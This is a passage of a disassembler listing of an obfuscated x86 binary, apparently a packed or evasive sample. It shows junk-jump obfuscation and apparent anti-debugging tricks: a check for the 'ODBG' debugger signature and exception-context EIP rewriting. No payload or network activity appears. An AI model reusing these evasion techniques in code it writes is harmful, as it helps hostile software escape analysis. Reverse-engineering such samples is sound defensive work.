; END OF FUNCTION CHUNK	FOR sub_40DF4A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_156. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DBCC


loc_40940C:				; CODE XREF: sub_40DBCC:loc_40853Cj
		ja	loc_40DD00
		jmp	loc_408913
; END OF FUNCTION CHUNK	FOR sub_40DBCC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407E61


loc_409417:				; CODE XREF: sub_407E61+9068j
		jz	loc_40A18C
; END OF FUNCTION CHUNK	FOR sub_407E61
; START	OF FUNCTION CHUNK FOR sub_405950


loc_40941D:				; CODE XREF: sub_405950+17j
					; _837l4vi2:0040C08Ej
		jmp	loc_40519F
; END OF FUNCTION CHUNK	FOR sub_405950
; ---------------------------------------------------------------------------
		mov	ebp, [ebx]
		jmp	loc_40A18A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405E3F


loc_409429:				; CODE XREF: sub_405E3F:loc_40F7DEj
		sub	edi, 64180CEAh
		xor	edi, 0B20FAE87h
		add	edi, 61ABC70Dh
		popf
		xchg	edi, [esp+0]
		jmp	loc_408457
; END OF FUNCTION CHUNK	FOR sub_405E3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_409444:				; CODE XREF: sub_40D735:loc_40ACE6j
		jz	loc_40D822
		jmp	loc_40A48A
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D7F5


loc_40944F:				; CODE XREF: sub_40D7F5:loc_4082A7j
		call	sub_407D0C
		lea	eax, [ebp-14h]
; END OF FUNCTION CHUNK	FOR sub_40D7F5
; START	OF FUNCTION CHUNK FOR sub_40D363


loc_409457:				; CODE XREF: sub_40D363-42A4j
		push	eax
		call	sub_407AA4
		mov	ds:dword_40AB74, eax
		push	offset loc_40D0A7
		jmp	loc_40E555
; END OF FUNCTION CHUNK	FOR sub_40D363
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4078C8


loc_40946C:				; CODE XREF: sub_4078C8:loc_408787j
		mov	[ebp-0Ch], eax
		shl	dword ptr [ebp-8], 8


loc_409473:				; CODE XREF: sub_405C17+28D7j
					; sub_40A454:loc_40E0F6j
		jz	loc_410658
		mov	eax, [ebp-0Ch]
		cmp	byte ptr [eax],	0
		call	sub_40B205


loc_409484:				; CODE XREF: _837l4vi2:00408BBFj
		jmp	nullsub_23
; END OF FUNCTION CHUNK	FOR sub_4078C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407AA4


loc_409489:				; CODE XREF: _837l4vi2:loc_407539j
					; sub_407AA4+Aj
		jmp	loc_40D8EA
; END OF FUNCTION CHUNK	FOR sub_407AA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FF0D


loc_40948E:				; CODE XREF: sub_40FF0D+10j
		mov	ebx, [eax+4]
		mov	eax, [eax]
		jnz	loc_40FF14
		retn
; END OF FUNCTION CHUNK	FOR sub_40FF0D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4100FB


loc_40949A:				; CODE XREF: sub_4100FB+Bj
		jmp	loc_40FE06
; END OF FUNCTION CHUNK	FOR sub_4100FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40926F


loc_40949F:				; CODE XREF: sub_40926F-17F5j
		jmp	loc_40A347
; END OF FUNCTION CHUNK	FOR sub_40926F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FF0D


loc_4094A4:				; CODE XREF: sub_40FF0D:loc_40FF14j
		cmp	dword ptr [eax], 0FFFFFFFFh
		jmp	loc_40DD36
; END OF FUNCTION CHUNK	FOR sub_40FF0D
; ---------------------------------------------------------------------------
		js	loc_40C58F
		jmp	loc_4097D4
; ---------------------------------------------------------------------------
		xor	esi, ebp
		push	eax
		jmp	sub_408055
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F680


loc_4094BF:				; CODE XREF: sub_40F680+Aj
		mov	[esi], eax
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_40F680
; ---------------------------------------------------------------------------


loc_4094C3:				; CODE XREF: _837l4vi2:loc_405416j
		push	ebp
		jmp	loc_40B738
; ---------------------------------------------------------------------------


loc_4094C9:				; CODE XREF: _837l4vi2:loc_409EFDj
					; _837l4vi2:0040C386j
		pop	large dword ptr	fs:0
		add	esp, 4
		mov	eax, 51h
		call	sub_40D92B
		jmp	loc_40DDAF

; =============== S U B	R O U T	I N E =======================================



sub_4094E2	proc near		; CODE XREF: _837l4vi2:0040744Ej
					; sub_407EF6+4C72p

; FUNCTION CHUNK AT 004056E8 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00408A21 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004100E8 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004101F6 SIZE 00000013 BYTES

		xchg	eax, [esp+0]
		pop	eax
		and	al, 7
		mov	[ebp-0Bh], al
		xor	eax, eax
		mov	al, [ebp-0Bh]
		jmp	loc_4101F6
sub_4094E2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E266


loc_4094F5:				; CODE XREF: sub_40E266+Cj
		add	ecx, 24017D2Ah
		mov	[ecx], eax
		mov	ecx, offset sub_40A29A
		xchg	ecx, [esp+0]
		retn
; END OF FUNCTION CHUNK	FOR sub_40E266
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408736


loc_409506:				; CODE XREF: sub_408736+4AE0j
		jmp	loc_41017F
; END OF FUNCTION CHUNK	FOR sub_408736
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409CCE


loc_40950B:				; CODE XREF: sub_409CCE+5E6Bj
		call	sub_40E739
		push	eax
		push	offset sub_40857F
		jmp	loc_40C53B
; END OF FUNCTION CHUNK	FOR sub_409CCE
; ---------------------------------------------------------------------------
		xchg	eax, [ebp+0]
		jmp	loc_40F6F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4078C8


loc_409523:				; CODE XREF: sub_4078C8+Ej
					; sub_40D735:loc_4090CAj ...
		push	0AD77A0B4h
		pop	eax
		xor	eax, 0AD77A194h
		call	sub_40D92B
		jmp	loc_40877E
; END OF FUNCTION CHUNK	FOR sub_4078C8
; ---------------------------------------------------------------------------
		mov	dword ptr [ebp-8], 1
		jmp	loc_409203
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409D6B


loc_409545:				; CODE XREF: sub_409D6B-3E48j
					; sub_40D735-73F0j ...
		push	4DF0AA2Eh
		pop	eax
		jmp	loc_40B714
; END OF FUNCTION CHUNK	FOR sub_409D6B
; ---------------------------------------------------------------------------


loc_409550:				; CODE XREF: _837l4vi2:loc_406560j
		jnz	loc_40D4C1
		jmp	loc_40ED7B
; ---------------------------------------------------------------------------
		xchg	ecx, esi
		jmp	sub_40E4F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408567


loc_409562:				; CODE XREF: sub_408567+B98j
		and	eax, 5BAE3D10h
		add	eax, 0F632CAE0h
		push	esi
		push	0A81F1026h
		pop	esi
		add	esi, 58218E94h
		xchg	esi, [esp+18h+var_18]
		jmp	sub_40E13A
; END OF FUNCTION CHUNK	FOR sub_408567
; ---------------------------------------------------------------------------
		xor	edx, ebx
		jmp	sub_40966E
; ---------------------------------------------------------------------------


loc_40958A:				; DATA XREF: sub_40E463+Bo
		sub	eax, 0F72ABB86h
		add	eax, 7EDEE17Bh
		mov	eax, [eax]
		call	sub_40AE62
; START	OF FUNCTION CHUNK FOR sub_40AE2D


loc_40959D:				; CODE XREF: sub_40AE2D:loc_410096j
		jnz	loc_406D19
		jmp	loc_40E1C6
; END OF FUNCTION CHUNK	FOR sub_40AE2D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4087FF


loc_4095A8:				; CODE XREF: sub_4087FF:loc_40535Ej
		jl	loc_406494
; END OF FUNCTION CHUNK	FOR sub_4087FF
; START	OF FUNCTION CHUNK FOR sub_407AA4


loc_4095AE:				; CODE XREF: sub_407AA4-1C71j
		jmp	loc_40B06C
; END OF FUNCTION CHUNK	FOR sub_407AA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_4095B3:				; CODE XREF: sub_40D735-82FFj
		jmp	loc_408219
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------
		mov	[ebx], ecx
		jmp	loc_40648D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AA44


loc_4095BF:				; CODE XREF: sub_40AA44:loc_40CE40j
		push	eax
		push	5DD459C6h
		pop	eax
		and	eax, 0D789E9A9h
		jmp	loc_410423
; END OF FUNCTION CHUNK	FOR sub_40AA44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405984


loc_4095D1:				; CODE XREF: sub_405984:loc_406235j
		rol	edx, 5
		pushf
		mov	[esp+0], edi


loc_4095D8:				; CODE XREF: _837l4vi2:loc_40AEA6j
		push	0C1907EAAh
		mov	edi, offset loc_4086A0
		xchg	edi, [esp+4+var_4]
		jmp	nullsub_116
; END OF FUNCTION CHUNK	FOR sub_405984
; ---------------------------------------------------------------------------
		push	0D6812FDBh
		jmp	sub_4100FB
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	loc_409545
		jmp	loc_405FE9
; ---------------------------------------------------------------------------
		test	edi, ebx
		jmp	loc_41019C
; ---------------------------------------------------------------------------


loc_409608:				; CODE XREF: _837l4vi2:0040F076j
		js	loc_40CE00

; =============== S U B	R O U T	I N E =======================================



sub_40960E	proc near		; CODE XREF: sub_40A8FE+6428p

; FUNCTION CHUNK AT 00408E20 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0040AA73 SIZE 00000005 BYTES

		mov	[esp+0], eax
		pop	eax
		setnz	byte ptr [ebp-9]
		jmp	loc_40AA73
sub_40960E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405C37


loc_40961B:				; CODE XREF: sub_405C37+4EB5j
		sub	ebx, 77F482F7h
		add	ebx, 3B109ED2h
		xchg	ebx, [esp-4+arg_0]
		jmp	loc_40F9F7
; END OF FUNCTION CHUNK	FOR sub_405C37
; ---------------------------------------------------------------------------
		cmp	eax, esi
		jmp	loc_4072D9
; ---------------------------------------------------------------------------
		mov	edx, 0EF9F7D01h
		push	eax
		push	0D9C46C0h
		pop	eax
		add	eax, 0FE7F65CCh
		and	eax, 4928103Eh
		jmp	loc_40A708

; =============== S U B	R O U T	I N E =======================================



sub_409653	proc near		; CODE XREF: _837l4vi2:0040A9C3j
					; sub_40892F:loc_40C48Dp
		mov	[esp+0], ecx
		pop	ecx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_409653	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		test	eax, eax
		jl	loc_4092D0
		jmp	loc_410554
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_57. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40600B


loc_409669:				; CODE XREF: sub_40600B+538Fj
		jmp	loc_40A10C
; END OF FUNCTION CHUNK	FOR sub_40600B

; =============== S U B	R O U T	I N E =======================================



sub_40966E	proc near		; CODE XREF: sub_4052A5:loc_40835Aj
					; _837l4vi2:00409585j ...

; FUNCTION CHUNK AT 0040532B SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004059EB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00405BA1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00406AF4 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00408240 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004082FD SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00408360 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00408369 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004086D9 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00408EC8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040A494 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0040AE42 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0040B0A3 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0040B1E6 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0040B3FE SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040BDFA SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0040CA96 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040CC3F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0040CC89 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0040D7AD SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0040D9D3 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040E477 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0040E7F2 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040E845 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040EB80 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040EBCE SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0040ED32 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040F6E7 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0040F926 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040FA82 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040FB9F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040FEC4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040FEF4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040FFA2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00410328 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 004104BF SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00410EDB SIZE 0000000B BYTES

		mov	[esp+0], esi
		pop	esi
		jnz	loc_40B0A3
		call	sub_40939B


loc_40967D:				; CODE XREF: _837l4vi2:0040CFF9j
		jmp	loc_40B1E6
sub_40966E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4072E4


loc_409682:				; CODE XREF: sub_4072E4+16j
		jmp	loc_40694A
; END OF FUNCTION CHUNK	FOR sub_4072E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BF48


loc_409687:				; CODE XREF: sub_40BF48-6642j
		jmp	loc_40AE1D
; END OF FUNCTION CHUNK	FOR sub_40BF48
; ---------------------------------------------------------------------------
		shl	esi, 17h
		jmp	loc_40EE4D

; =============== S U B	R O U T	I N E =======================================



sub_409694	proc near		; CODE XREF: _837l4vi2:00406C9Cj
					; sub_40FD34-8912p ...

; FUNCTION CHUNK AT 00405AC4 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		xor	eax, 0C340879Fh
		add	eax, ebp
		add	eax, 0B17087FFh
		push	offset loc_408685
		jmp	loc_405AC4
sub_409694	endp

; ---------------------------------------------------------------------------
		push	eax
		rol	eax, 4


loc_4096B4:				; CODE XREF: _837l4vi2:loc_40F67Aj
		mov	ds:dword_41103C, eax
		retn
; ---------------------------------------------------------------------------


loc_4096BB:				; CODE XREF: _837l4vi2:0040B775j
		jmp	loc_410539

; =============== S U B	R O U T	I N E =======================================



sub_4096C0	proc near		; CODE XREF: _837l4vi2:00408981j
					; sub_405AFA+2F56p

; FUNCTION CHUNK AT 004052DB SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0040D5BD SIZE 00000012 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	eax


loc_4096C5:				; CODE XREF: _837l4vi2:0040A7E4j
		call	sub_409D80
		jmp	loc_40D5BD
sub_4096C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407EF6


loc_4096CF:				; CODE XREF: sub_407EF6:loc_40B821j
		jnz	loc_40CB5D
		mov	eax, [ebp+var_8]
		mov	byte ptr [eax],	0
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_407EF6
; ---------------------------------------------------------------------------


loc_4096DF:				; DATA XREF: sub_40ACF2:loc_40641Do
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4096E3:				; CODE XREF: _837l4vi2:00405AACj
		jmp	loc_40D444
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40ACF2


loc_4096E8:				; CODE XREF: sub_40ACF2+Bj
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-0Ch], 4
		jmp	loc_4089AD
; END OF FUNCTION CHUNK	FOR sub_40ACF2
; ---------------------------------------------------------------------------


loc_4096F4:				; CODE XREF: _837l4vi2:0040F4A1j
		call	sub_40B088
; START	OF FUNCTION CHUNK FOR sub_410BD3


loc_4096F9:				; CODE XREF: sub_410BD3:loc_40BE8Fj
		mov	edx, 6A74FD15h
		call	sub_40E739
		call	sub_40B088
		jmp	loc_40CDD4
; END OF FUNCTION CHUNK	FOR sub_410BD3
; ---------------------------------------------------------------------------
		shr	ecx, 1Ch
		jmp	loc_405E39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CEB5


loc_409715:				; CODE XREF: sub_40CEB5-50C7j
		mov	ebp, offset nullsub_173
		xchg	ebp, [esp+0]
		retn
; END OF FUNCTION CHUNK	FOR sub_40CEB5
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_173. PRESS KEYPAD	"+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_106. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		and	edi, esi
		xchg	esi, [edi]
		jmp	sub_40E277
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_110. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		cdq
		sbb	esi, ecx
		jmp	sub_40EB97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F31D


loc_409732:				; CODE XREF: sub_40F31D:loc_410FD1j
		mov	large fs:0, esp
		call	sub_40FF0D
		call	sub_40C6CA


loc_409743:				; CODE XREF: sub_40B250-3625j
		jmp	sub_40B088
; END OF FUNCTION CHUNK	FOR sub_40F31D

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409748	proc near		; CODE XREF: _837l4vi2:004091B3p

var_C		= dword	ptr -0Ch

; FUNCTION CHUNK AT 0040D2EE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00410175 SIZE 00000005 BYTES

		mov	[esp+0], ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	7794C407h
		mov	[esp+0Ch+var_C], ebx
		jmp	loc_410175
sub_409748	endp

; ---------------------------------------------------------------------------


loc_40975C:				; CODE XREF: _837l4vi2:0040B168j
		call	sub_40E739
		push	offset loc_40A324
		jmp	locret_40AE73
; ---------------------------------------------------------------------------

locret_40976B:				; CODE XREF: _837l4vi2:0041109Fj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DF94


loc_40976C:				; CODE XREF: sub_40DF94+Fj
		jmp	loc_40DA36
; END OF FUNCTION CHUNK	FOR sub_40DF94
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4078C8


loc_409771:				; CODE XREF: sub_4078C8+1391j
		jmp	loc_40E10C
; END OF FUNCTION CHUNK	FOR sub_4078C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405BB4


loc_409776:				; CODE XREF: sub_405BB4:loc_40B6E9j
		pop	ecx
		or	ecx, 6E0382B7h
		add	ecx, 0A1A9CCFh
		call	sub_405FD8


loc_409788:				; CODE XREF: _837l4vi2:00408C20j
		jnb	loc_408240
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-14h], 4
		jnz	loc_40E8AB


loc_40979B:				; CODE XREF: _837l4vi2:loc_40A1C0j
		mov	eax, [ebp+8]
		jmp	loc_40B2D3
; END OF FUNCTION CHUNK	FOR sub_405BB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4078C8


loc_4097A3:				; CODE XREF: sub_4078C8+6852j
		adc	edx, [esp+4]
		add	esp, 8
		push	esi
		push	7EEBDE15h
		pop	esi
		add	esi, 47B8EA8Dh
		add	esi, ebp
		jmp	loc_40F89D
; END OF FUNCTION CHUNK	FOR sub_4078C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_4097BE:				; CODE XREF: sub_40D735-732Aj
		jz	loc_408D03
		jmp	loc_410010
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C1F0


loc_4097C9:				; CODE XREF: sub_40C1F0:loc_40AA67j
		jnz	loc_40A22F
		jmp	loc_408D2A
; END OF FUNCTION CHUNK	FOR sub_40C1F0
; ---------------------------------------------------------------------------


loc_4097D4:				; CODE XREF: _837l4vi2:004094B2j
		cdq

; =============== S U B	R O U T	I N E =======================================



sub_4097D5	proc near		; CODE XREF: sub_40E3C8:loc_406910p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00406318 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040872B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040A2CB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040A4B8 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0040F439 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004108EF SIZE 00000005 BYTES

		mov	[esp+0], edi
		pop	edi
		add	eax, 4C1F025Fh
		jmp	loc_40A2CB
sub_4097D5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4097E4	proc near		; DATA XREF: sub_40E927+7o
		mov	ebp, esp
		push	ecx
		push	offset loc_40B14D
		jmp	nullsub_90
sub_4097E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4097F1	proc near		; CODE XREF: _837l4vi2:0040AF24j
					; DATA XREF: sub_409D6B+11AFo

; FUNCTION CHUNK AT 00407B9A SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		jmp	loc_407B9A
sub_4097F1	endp

; ---------------------------------------------------------------------------
		test	ebp, 0CC227066h
		jmp	loc_40DF6C

; =============== S U B	R O U T	I N E =======================================



sub_409804	proc near		; CODE XREF: _837l4vi2:0040CB1Bp
		mov	[esp+0], eax
		push	4C91A0h
		mov	eax, [ebp-10h]
		push	eax
		call	sub_405752
		jmp	loc_407243
sub_409804	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EBBF


loc_40981A:				; CODE XREF: sub_40EBBF+Aj
		sub	eax, 0E3A6B092h
		test	eax, 8
		jmp	loc_4089CD
; END OF FUNCTION CHUNK	FOR sub_40EBBF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C1F0


loc_40982B:				; CODE XREF: sub_40C1F0:loc_410A93j
		xor	[esi], edx
		push	esi
		push	0DDCFE83Eh
		pop	esi
		add	esi, 0A23017C3h
		jmp	loc_40723E
; END OF FUNCTION CHUNK	FOR sub_40C1F0
; ---------------------------------------------------------------------------

locret_40983F:				; CODE XREF: _837l4vi2:0040C89Dj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CA72


loc_409840:				; CODE XREF: sub_40CA72-6C61j
		mov	[esp+0], eax
		retn
; END OF FUNCTION CHUNK	FOR sub_40CA72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B67D


loc_409844:				; CODE XREF: sub_40B67D+4AC6j
		jmp	loc_4107CC
; END OF FUNCTION CHUNK	FOR sub_40B67D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D92B


loc_409849:				; CODE XREF: sub_40D92B+17j
		jmp	loc_40F1A3
; END OF FUNCTION CHUNK	FOR sub_40D92B

; =============== S U B	R O U T	I N E =======================================



sub_40984E	proc near		; CODE XREF: sub_40E3C8:loc_4063E9p

; FUNCTION CHUNK AT 0040ED27 SIZE 0000000B BYTES

		xchg	ebp, esi
		xchg	esi, edx
		jmp	loc_40ED27
sub_40984E	endp

; ---------------------------------------------------------------------------
		mov	[eax], ecx
		jmp	loc_4108AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406C7D


loc_40985E:				; CODE XREF: sub_406C7D+6F2Dj
					; _837l4vi2:loc_410554j
		push	offset loc_4092C8
		jmp	loc_40AA6D
; END OF FUNCTION CHUNK	FOR sub_406C7D

; =============== S U B	R O U T	I N E =======================================



sub_409868	proc near		; DATA XREF: sub_40AF8A+5419o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00408F40 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C638 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040F7E3 SIZE 0000000E BYTES

		mov	eax, [ebp-8]
		push	edx
		push	1EE4A0h
		pop	edx
		sub	edx, ds:4000C9h
		jmp	loc_40C638
sub_409868	endp

; ---------------------------------------------------------------------------


loc_40987D:				; DATA XREF: sub_40BED0+7o
		cmp	ds:dword_40D3E0, 0
		jnz	loc_406C2F
		lea	edx, [ebp-14h]
		push	715B4394h
		pop	eax
		jmp	loc_40DA85
; ---------------------------------------------------------------------------


loc_409898:				; CODE XREF: _837l4vi2:004086BFj
		jl	loc_40611C

; =============== S U B	R O U T	I N E =======================================



sub_40989E	proc near		; CODE XREF: sub_40C9A5-7486p

var_C		= dword	ptr -0Ch

; FUNCTION CHUNK AT 004052EE SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00405B3F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00406427 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00407896 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00407A7F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00408311 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0040C023 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040C81C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D08E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D28D SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0040DBDE SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0040F0CC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040F55D SIZE 00000013 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		lea	eax, [ebp-20h]
		push	eax
		call	sub_408CAC
		jmp	loc_405B3F
sub_40989E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4098B0	proc near		; CODE XREF: _837l4vi2:00408680j
					; _837l4vi2:0040C44Fp

; FUNCTION CHUNK AT 00406D45 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00407862 SIZE 00000007 BYTES

		mov	[esp+0], ebx
		pop	ebx
		xchg	eax, edi
		push	edi
		xchg	eax, edi
		rol	eax, 0Bh
		jmp	loc_406D45
sub_4098B0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407902


loc_4098C1:				; CODE XREF: sub_407902+11j
		mov	esi, offset sub_4098CA
		xchg	esi, [esp+4+var_4]
		retn
; END OF FUNCTION CHUNK	FOR sub_407902

; =============== S U B	R O U T	I N E =======================================



sub_4098CA	proc near		; DATA XREF: sub_407902:loc_4098C1o

; FUNCTION CHUNK AT 00407B37 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040C58F SIZE 00000005 BYTES

		add	esi, 0B975BBCDh
		jmp	loc_407B37
sub_4098CA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CEC1


loc_4098D5:				; CODE XREF: sub_40CEC1-2F65j
		mov	[edi], eax
		pushf
		adc	edx, esi


loc_4098DA:				; CODE XREF: sub_40CEC1:loc_410F2Cj
		lea	eax, [ebp-2BBh]
		cmp	dword ptr [eax], 4742444Fh
		jz	loc_409F1E
		jmp	loc_40630C
; END OF FUNCTION CHUNK	FOR sub_40CEC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E583


loc_4098F1:				; CODE XREF: sub_40E583+10j
		lea	eax, loc_40990B
		mov	[ecx+0B8h], eax
		pop	ecx
		xor	eax, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_40E583
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4053DD


loc_409901:				; CODE XREF: sub_4053DD+61F6j
		jmp	loc_4057DB
; END OF FUNCTION CHUNK	FOR sub_4053DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BF48


loc_409906:				; CODE XREF: sub_40BF48-38E6j
		jmp	loc_409B48
; END OF FUNCTION CHUNK	FOR sub_40BF48
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C1F0


loc_40990B:				; CODE XREF: _837l4vi2:0040596Cj
					; _837l4vi2:loc_40ABB0j ...
		push	offset loc_40F11E
		jmp	loc_40C445
; END OF FUNCTION CHUNK	FOR sub_40C1F0
; ---------------------------------------------------------------------------


loc_409915:				; CODE XREF: _837l4vi2:0040B6F9j
		test	edx, 0A91EE7A8h
		jmp	loc_40CED2
